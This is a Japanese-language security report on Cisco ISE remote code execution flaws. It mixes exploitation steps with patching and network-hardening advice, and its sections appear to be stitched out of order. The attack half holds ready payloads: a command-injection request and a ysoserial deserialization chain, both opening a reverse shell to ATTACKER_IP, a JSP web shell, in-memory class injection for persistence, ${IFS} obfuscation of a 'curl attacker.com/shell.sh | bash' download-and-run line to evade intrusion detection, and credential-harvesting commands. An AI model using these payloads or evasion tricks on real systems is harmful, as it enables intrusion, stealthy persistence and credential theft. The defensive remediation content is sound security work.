
Cisco ISE RCE脆弱性の詳細な技術分析。セキュリティ研究者やペネトレーションテスター向けに、悪用手法、回避方法、および修復戦略を含みます。
Cisco Identity Services Engine (ISE) におけるリモートコード実行(RCE)の脆弱性は、企業の境界セキュリティにおける重大な破綻点を表しています。エリートセキュリティ研究者にとって、ISEは単なる認証コンポーネントではありません。ネットワークインフラ全体へのアクセスを制御するマスターキーなのです。
重大リスク: 認証されていない攻撃者が5分以内にシステムの完全な制御を取得でき、従来の監視システムでは検出不可能な痕跡を残しません。
┌─────────────────────────────────────────────────────────┐
│ CISCO ISE - 露出したNACアーキテクチャ │
├─────────────────────────────────────────────────────────┤
│ │
│ [インターネット] ──→ [ファイアウォール] ──→ [ISE管理ポート] │
│ ↓ │
│ [未認証API] │
│ ↓ │
│ [Java逆シリアル化レイヤ] │
│ ↓ │
│ [Tomcat Webコンテナ] │
│ ↓ │
│ [OSコマンド実行] │
│ ↓ │
│ [ネットワーク全体の侵害] │
│ │
└─────────────────────────────────────────────────────────┘
重大な発見: /deployment-rpc/ APIは処理の初期段階でセッショントークンを検証せず、認証の完全なバイパスを可能にします。
フェーズ1: 偵察
# ポートとサービスのスキャン
nmap -sV -p 8443,8080 <ISE_IP>
# RPCエンドポイントの列挙
curl -s https://<ISE_IP>:8443/deployment-rpc/ | grep -i "method"
フェーズ2: 直接的な悪用
POST /deployment-rpc/enableStrongSwanTunnel HTTP/1.1
Host: <ISE_IP>:8443
Content-Type: application/json
Content-Length: 287
{
"tunnelName": "admin",
"tunnelType": "IPSec",
"presharedKey": "test",
"remoteGateway": "127.0.0.1",
"localSubnet": "0.0.0.0/0",
"remoteSubnet": "0.0.0.0/0",
"advancedConfig": "'; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; echo '"
}
結果: デフォルト設定ではTomcatユーザーがrootとして実行されるため、root権限での任意コマンド実行が可能になります。
[シリアル化ペイロード] ──→ [APIエンドポイント] ──→ [ObjectInputStream.readObject()]
↓
[ガジェットチェーン実行]
↓
[Runtime.exec()呼び出し]
PoCペイロード(ysoserial使用):
# 悪意のあるガジェットチェーンの生成
java -jar ysoserial.jar CommonsCollections6 \
'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' | \
base64 -w 0 > payload.b64
# ペイロードの送信
curl -X POST https://<ISE_IP>:8443/admin/rest/api/v1/system/config \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.b64
影響: 「読み取り専用」アカウントからrootへの権限昇格。
[Webシェル] ──→ [/api/v1/config/upload] ──→ [/opt/CSCOlumos/uploads/]
↓
[TomcatがJSPファイルを処理]
↓
[root権限で実行]
悪意のあるWebシェルの例:
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line + "<br>");
}
}
%>
事後アクセス:
https://<ISE_IP>:8443/opt/CSCOlumos/uploads/shell.jsp?cmd=id
エリートハッカーは決してディスクにファイルを残しません。メモリインジェクションは不可視の永続化テクニックです:
// Tomcat ClassLoaderへのインジェクション
ClassLoader loader = Thread.currentThread().getContextClassLoader();
byte[] classBytes = generateMaliciousClass();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class, byte[].class, int.class, int.class
);
defineClass.setAccessible(true);
defineClass.invoke(loader, "EvilClass", classBytes, 0, classBytes.length);
利点: 従来のファイルスキャン(OSSEC、Tripwire)では何も検出されません。
${IFS}によるコマンド難読化# 元のコマンド(検出可能)
curl http://attacker.com/shell.sh | bash
# 難読化されたコマンド(IDS回避)
c${IFS}url${IFS}http://attacker.com/shell.sh${IFS}|${IFS}bash
# 変数間接参照を用いたバリアント
${PATH:0:1}b${PATH:0:1}n${PATH:0:1}bash${IFS}-c${IFS}'悪意のあるコマンド'
なぜ機能するのか: 検出システムはキーワードパターン(curl、bash、|)を探します。${IFS}(Internal Field Separator)の使用は、bashでの意味を変えずに単語を分割します。
# ❌ 検出可能 - /etc/cron.d/ 内のファイル
echo "* * * * * root /tmp/malware.sh" > /etc/cron.d/evil
# ✅ 不可視 - Tomcatプロセスへのインジェクション
# 1. メモリ内にnetcatリスナーを作成
# 2. 永続的な接続を維持するスレッドをJVMに注入
# 3. ファイルなし、可視の孤児プロセスなし
┌──────────────────────────────────────────────────────────────────┐
│ 元のゼロトラストアーキテクチャ │
├──────────────────────────────────────────────────────────────────┤
│ │
│ [ユーザー] ──→ [ISE認証] ──→ [デバイス状態チェック] │
│ ↓ │
│ [マイクロセグメンテーションポリシー] │
│ ↓ │
│ [リソースへの制限付きアクセス] │
│ │
└──────────────────────────────────────────────────────────────────┘
⬇️ ISE侵害後 ⬇️
┌──────────────────────────────────────────────────────────────────┐
│ 侵害されたアーキテクチャ │
├──────────────────────────────────────────────────────────────────┤
│ │
│ [攻撃者] ──→ [制御されたISE] ──→ [変更されたポリシー] │
│ ↓ │
│ [マイクロセグメンテーション無効化] │
│ ↓ │
│ [ネットワーク全体での水平移動] │
│ ↓ │
│ [データベース、サーバー、IoTへのアクセス] │
│ │
└──────────────────────────────────────────────────────────────────┘
フェーズ1: 内部偵察
# 侵害されたISEからネットワークを列挙
nmap -sV -p 22,3306,5432,1433 10.0.0.0/8 --script smb-enum-shares
# ISEに保存された認証情報を抽出
grep -r "password" /opt/CSCOlumos/config/ | grep -v "^#"
フェーズ2: 悪意のあるポリシーの注入
ISEポリシー変更:
├─ 隠し管理ユーザーの作成
├─ セグメンテーションルールの変更
├─ VLAN間の不正なトラフィックを許可
└─ DNSトラフィックを制御されたサーバーにリダイレクト
フェーズ3: 永続化とデータ窃取
窃取されたデータ:
├─ 認証された全ユーザーの認証情報
├─ ネットワークポリシー設定
├─ アクセスログ(痕跡を消すため)
├─ 内部SSL/TLS証明書
└─ IoTデバイスとサーバーの情報
# 現在のバージョンを確認
ssh admin@<ISE_IP>
show version
# 脆弱なバージョン:
# - ISE 3.0.x から 3.2.x(すべて)
# - ISE 3.3.0 から 3.3.6
# - ISE 3.4.0 から 3.4.1
# 安全なバージョン:
# - ISE 3.3 Patch 7 以降
# - ISE 3.4 Patch 2 以降
# - ISE 3.5(利用可能になった時点)
# アップデート手順
admin# copy https://<PATCH_SERVER>/ise-3.3.7-patch.tar admin:password
admin# software install ise-3.3.7-patch.tar
admin# reload
! アクセススイッチ上(ISEの前段)
interface GigabitEthernet0/1
description ISE-Management
switchport mode access
switchport access vlan 999
spanning-tree portfast
no shutdown
! 専用管理VLAN(VRF)
ip vrf MGMT
description Management VRF - Isolated
interface Vlan999
ip vrf forwarding MGMT
ip address 10.255.255.1 255.255.255.0
! ISE用の制限的ACL
ip access-list extended ISE-MGMT-ONLY
permit tcp 10.1.1.0 0.0.0.255 10.255.255.0 0.0.0.255 eq 8443
permit tcp 10.1.1.0 0.0.0.255 10.255.255.0 0.0.0.255 eq 8080
deny ip any any log
! ACLの適用
interface GigabitEthernet0/1
ip access-group ISE-MGMT-ONLY in
# ISEへSSH
ssh admin@<ISE_IP>
# Tomcat設定にアクセス
config t
system
tomcat
disable-rpc-endpoints yes
disable-file-upload yes
exit
exit
# Tomcatを再起動
admin# application stop ise
admin# application start ise
┌─────────────────────────────────────────────────────────┐
│ ISE HARDENED(ゼロトラスト)アーキテクチャ │
├─────────────────────────────────────
**🚨 セキュリティレポート: Cisco ISEのRCE**
## レッドチーム vs ブルーチームの視点
> **⚠️ 免責事項:** この文書は、正当なセキュリティ調査、許可された侵入テスト、および防御的修復を目的としています。無許可の悪用は違法です。
| CVE | エンドポイント | メソッド | 認証 | 深刻度 |
|---|
| CVE-2025-20281 | /deployment-rpc/enableStrongSwanTunnel | POST | ❌ なし | CRITICAL |
| CVE-2025-20282 | /api/v1/config/upload | POST | ⚠️ 弱い | CRITICAL |
| CVE-2025-20124 | /admin/rest/api/v1/system/config | GET/POST | ⚠️ バイパス可能 | CRITICAL |